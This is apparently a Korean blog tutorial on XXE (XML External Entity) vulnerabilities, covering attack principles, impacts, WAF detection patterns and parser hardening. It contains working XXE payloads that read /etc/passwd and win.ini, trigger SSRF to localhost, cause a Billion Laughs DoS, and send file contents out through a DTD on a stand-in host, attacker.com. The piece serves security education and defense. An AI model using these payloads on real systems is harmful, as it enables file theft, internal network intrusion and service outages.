반응형

XXE(XML External Entity) 취약점을 정리해줄게.
항상처럼 개념 → 공격 원리 → 공격 예시 → 공격 목표 → 대응 방법(WAF/개발) 순서로 설명할게.


🔥 1. XXE(XML External Entity)란?

정의:
XXE는 XML 파서가 외부 엔티티(External Entity)를 허용할 때, 공격자가 악의적인 엔티티를 삽입하여 서버 내부 파일을 읽거나, 내부망 요청을 보내거나, DoS를 일으키는 공격이야.

쉽게 말하면:

👉 XML 안에 몰래 “내부 파일 읽어!” 같은 명령을 넣어서 서버에게 시키는 공격


🔹 2. 공격 원리

서버가 다음과 같을 때 공격이 가능해짐:

  • XML을 받아서 처리한다.
  • XML Parser에서 **외부 엔티티(External Entity)**를 허용한다.
  • 입력 검증이 없다.

구조:

 
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root> &xxe; </root>

서버가 이 XML을 파싱 → file:///etc/passwd 내용을 읽어서 XML에 넣음 → 유출!


🔹 3. 실무 공격 예시

✔ 1) 서버 내부 파일 읽기

 
<!DOCTYPE data [ <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <data>&file;</data>

→ 서버가 /etc/passwd 내용을 클라이언트에게 돌려줌.


✔ 2) SSRF 유발 (내부망 요청)

 
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://127.0.0.1:8080/admin"> ]> <foo>&xxe;</foo>

→ 내부 관리 페이지 접속 가능.


✔ 3) Windows 파일 읽기

 
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini"> ]> <foo>&xxe;</foo>

✔ 4) OOB(Out-of-band) XXE

파일 내용이 서버에서 직접 리턴되지 않아도, 공격자 서버로 전송 가능.

 
<!DOCTYPE xxe [ <!ENTITY % d SYSTEM "http://attacker.com/malicious.dtd"> %d; ]>

공격자 DTD 파일:

 
<!ENTITY % send SYSTEM "http://attacker.com/?dump=%file;" > %send;

→ 서버 내부 파일이 공격자 서버로 전송됨.


✔ 5) DoS 공격 (Billion Laughs Attack)

XML 엔티티를 폭발적으로 확장하게 하는 공격:

 
<!DOCTYPE lolz [ <!ENTITY a "lol"> <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;"> ]> <lolz>&b;</lolz>

→ XML 파서가 메모리 폭주 → 서버 다운.


🔹 4. 공격자가 할 수 있는 일

  • 내부 파일 읽기
  • 내부망 스캐닝(SSRF)
  • DB/관리자 페이지 접근
  • 민감 정보 탈취
  • 서버 메타데이터 접근
  • DoS 공격

웹 애플리케이션의 로컬 권한을 거의 그대로 사용할 수 있음


🔹 5. WAF / 보안관제 대응 포인트

✔ 1) XML 내부에 아래 패턴 탐지

  • <!DOCTYPE
  • <!ENTITY
  • SYSTEM
  • PUBLIC
  • file://
  • http://127.0.0.1
  • php://filter 등

✔ 2) OOB XXE 탐지

서버가 갑자기 외부 IP로 XML 요청을 보내는 이상행위 모니터링.

✔ 3) 응답 패턴 분석

응답에 /etc/passwd, root:x:0:0: 등이 포함되면 고위험.


🔹 6. 개발 단계 방어

✔ 1) 외부 엔티티 사용 금지 (가장 중요)

XML Parser 설정에서 외부 엔티티 비활성화.

예: Java

Python (lxml)

 
from lxml import etree parser = etree.XMLParser(resolve_entities=False)

✔ 2) DOCTYPE 선언 자체 차단

XML 입력에서 <!DOCTYPE 등장하면 에러 처리.


✔ 3) JSON으로 전환 (가능한 경우)

최근 API는 XML 대신 JSON 사용 → XXE 위험 감소.


✔ 4) 파일 접근 권한 최소화

웹 서버 계정이 민감 파일을 읽지 못하도록 chmod 제한.


🎯 한 문장 요약

XXE = XML 파서가 외부 엔티티를 허용할 때 발생하는 취약점으로, 내부 파일 읽기·내부망 접속·DoS까지 가능한 고위험 공격이다.

반응형

+ Recent posts